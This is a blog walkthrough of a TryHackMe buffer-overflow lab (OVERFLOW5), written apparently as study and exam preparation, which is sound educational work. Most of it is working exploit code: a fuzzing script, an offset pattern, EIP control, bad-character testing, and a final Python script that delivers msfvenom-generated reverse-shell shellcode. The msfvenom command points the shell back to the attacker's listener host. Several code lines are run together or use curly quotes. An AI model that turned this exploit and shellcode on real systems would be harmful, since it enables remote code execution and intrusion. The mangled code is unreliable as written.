Tryhackme Buffer Overflow5

Initially, buffer overflow felt like a daunting topic to me ! There is lots of stuff available on the internet. If you check it all at once, it gets overwhelming and you are more likely to give up !

So I decided to grab one good article , and read it until things started making sense, then found myself few steps closer towards solving it independently. I followed this article and the buffer overflow series by cyber mentor.

I have written this walkthrough for buffer overflow5 from tryhackme series. Uptil now I have solved the 6 bof problems from tryhackme.

Buffer Overflow5 from tryhackme BOF Series

Set the mona working directory,

!mona config -set workingfolder c:\mona\buf5

Fuzz the application and crash the program

Like, this bus in the picture…. its allowing any number of people to ride in.

We will fuzz the application by sending multiple bytes of AAAA……s

I used the below given script for fuzzying,

1.py#!/usr/bin/env python3 
import socket, time, sys
ip = "10.10.181.222"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1"))
s.recv(1024) except:print("Fuzzing crashed at {} bytes".format(len(string) -len(prefix)))sys.exit(0)
string += 100 * "A"
time.sleep(1)

We are successfully able to crash the application at 400 bytes and the stack is overwritten with A’s.

In the immunity debugger, we have got AAAAAs everywhere, in EAX, EBX, EIP

Now we know that the program does NOT implement preventive checks, since it is accepting data beyond the capacity which it can handle.

Finding the offset

So in this pattern, every stream of 4 bytes is unique. To compare to our bus example that we used earlier, where people just flooded the bus, now everyone is going in order and its like every person has a unique token that identifies its position.

Create a pattern of 800 bytes, where every 4 bytes are unique.

Save this pattern in the script given below and run,

2.pyimport socketip = "10.10.181.222" port = 1337prefix = "OVERFLOW5 "pattern="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"buffer = prefix + patterns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
s.connect((ip, port))
print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!")
except:
print("Could not connect.")

When the application crashes, note the Access violation message, it means the address “356B4134” to which EIP is pointing is overwritten and the application cannot execute beyond this point.

What we have with us now, is the address at which the execution stops / application crashes. Next we will find the offset value using this address.

Controlling the EIP

If we see “ BBBB “ landing correctly in EIP, it means we can manipulate the program flow and can make our desired code execute from such “controllable” location.

With the next script, we’ll try to send “BBBB” in EIP.

3.pyimport socketip = "10.10.181.222" port = 1337junk = "A" * 314 retn = "BBBB"prefix = "OVERFLOW5 "
buffer = prefix + junk + retn
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!")
except:
print("Could not connect.")

The above screenshot shows that BBBB (hex 42424242) has landed successfully in EIP.

Finding the bad characters

  1. We need to create a shellcode which is free from bad characters(as our end goal is to get RCE). Bad characters are simply list of characters which can break the shellcode. These are different for every program.
  2. So in order to find out bad characters, we’ll send a simple payload of 255 bytes. This shellcode does not give us a reverse shell but using this byte array we’ll find out the bad characters which we will exclude while generating our ACTUAL payload.

Create an array of 255 bytes using python program given below,

└─$ cat badchars.py for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()

Also, create a byte array in immunity which will be used by mona.py to compare

!mona bytearray -b “\x00”

Copy the badchars array in our program and run

4.pyimport socketip = "10.10.158.50" port = 1337junk = "A" * 314 retn = "BBBB"payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14 \x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b \x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xa\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb \xfc\xfd\xfe\xff"prefix = "OVERFLOW5 "
buffer = prefix + junk + retn + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!")
except:
print("Could not connect.")

Now, our byte array has landed in memory, so compare this with the byte array that we generated in mona, this step will list down the bad chars for us.

!mona compare -f C:\mona\oscp\bytearray.bin -a 0184FA30

Getting rid of the bad characters

  1. Manually removing the bad chars (error prone so I havent added in the article)
  2. Removing by comparison after each iteration, a bit lengthy but reliable method.

Bad characters during first iteration were, “16 17 2f 30 f4 f5 fd”, so remove 16 from our payload , restart immunity , and then run the 4.py script again. Turns out that 17 was not a bad char. During second iteration the list is “00 16 2f 30 f4 f5 fd”, now we remove 2f and follow the same process

00 16 2f f4 f5 fd

So after a few iterations, the badchars graph looks like below.

We now have our final list of badchars \x00\x16\x2f\xf4\xfd

Lets create the exploit,

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.0.61 LPORT=4545 EXITFUNC=thread -b "\x00 \x16\x2f\xf4\xfd" -f python

Finding the right return address

These memory protection measures are as if there’s military surveillance which will not allow our program to execute. So we need to find out another location that is suitable and will not stop our program from execution.

Find the return address / jmp address that is free from memory module restrictions.

!mona jmp -r esp -cpb " \x00\x16\x2f\xf4\xfd"

the return address is 0x625011af Convert it to little endian format with below given command,

import struct;struct.pack(“I”,0x625011af)

\xaf\x11Pb

The final script

5.pyimport sys, socket
from time import sleep
junk = "A" * 314
retn = "\xaf\x11Pb" padding = "\x90" * 16
buf = b""
buf += b"\xfc\xbb\xf1\x7c\xd9\x76\xeb\x0c\x5e\x56\x31\x1e\xad" buf += b"\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x0d"
buf += b"\x94\x5b\x76\xed\x65\x3c\xfe\x08\x54\x7c\x64\x59\xc7" buf += b"\x4c\xee\x0f\xe4\x27\xa2\xbb\x7f\x45\x6b\xcc\xc8\xe0" buf += b"\x4d\xe3\xc9\x59\xad\x62\x4a\xa0\xe2\x44\x73\x6b\xf7" buf += b"\x85\xb4\x96\xfa\xd7\x6d\xdc\xa9\xc7\x1a\xa8\x71\x6c" buf += b"\x50\x3c\xf2\x91\x21\x3f\xd3\x04\x39\x66\xf3\xa7\xee" buf += b"\x12\xba\xbf\xf3\x1f\x74\x34\xc7\xd4\x87\x9c\x19\x14" buf += b"\x2b\xe1\x95\xe7\x35\x26\x11\x18\x40\x5e\x61\xa5\x53" buf += b"\xa5\x1b\x71\xd1\x3d\xbb\xf2\x41\x99\x3d\xd6\x14\x6a" buf += b"\x31\x93\x53\x34\x56\x22\xb7\x4f\x62\xaf\x36\x9f\xe2" buf += b"\xeb\x1c\x3b\xae\xa8\x3d\x1a\x0a\x1e\x41\x7c\xf5\xff" buf += b"\xe7\xf7\x18\xeb\x95\x5a\x75\xd8\x97\x64\x85\x76\xaf" buf += b"\x17\xb7\xd9\x1b\xbf\xfb\x92\x85\x38\xfb\x88\x72\xd6" buf += b"\x02\x33\x83\xff\xc0\x67\xd3\x97\xe1\x07\xb8\x67\x0d" buf += b"\xd2\x6f\x37\xa1\x8d\xcf\xe7\x01\x7e\xb8\xed\x8d\xa1" buf += b"\xd8\x0e\x44\xca\x73\xf5\x0f\xff\x8a\xf5\xf2\x97\x8e" buf += b"\xf5\x1d\xa9\x06\x13\x77\x39\x4f\x8c\xe0\xa0\xca\x46" buf += b"\x90\x2d\xc1\x23\x92\xa6\xe6\xd4\x5d\x4f\x82\xc6\x0a" buf += b"\xbf\xd9\xb4\x9d\xc0\xf7\xd0\x42\x52\x9c\x20\x0c\x4f" buf += b"\x0b\x77\x59\xa1\x42\x1d\x77\x98\xfc\x03\x8a\x7c\xc6" buf += b"\x87\x51\xbd\xc9\x06\x17\xf9\xed\x18\xe1\x02\xaa\x4c" buf += b"\xbd\x54\x64\x3a\x7b\x0f\xc6\x94\xd5\xfc\x80\x70\xa3" buf += b"\xce\x12\x06\xac\x1a\xe5\xe6\x1d\xf3\xb0\x19\x91\x93" buf += b"\x34\x62\xcf\x03\xba\xb9\x4b\x23\x59\x6b\xa6\xcc\xc4" buf += b"\xfe\x0b\x91\xf6\xd5\x48\xac\x74\xdf\x30\x4b\x64\xaa" buf += b"\x35\x17\x22\x47\x44\x08\xc7\x67\xfb\x29\xc2\x67\xfb" buf += b"\xd5\xed"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.219.206",1337))
s.send(("OVERFLOW5 " + junk + retn + padding + buf)) s.recv(1024)
s.close()

And get the shell

A proud mother, traveller. Love to read , understand and write about cyber security.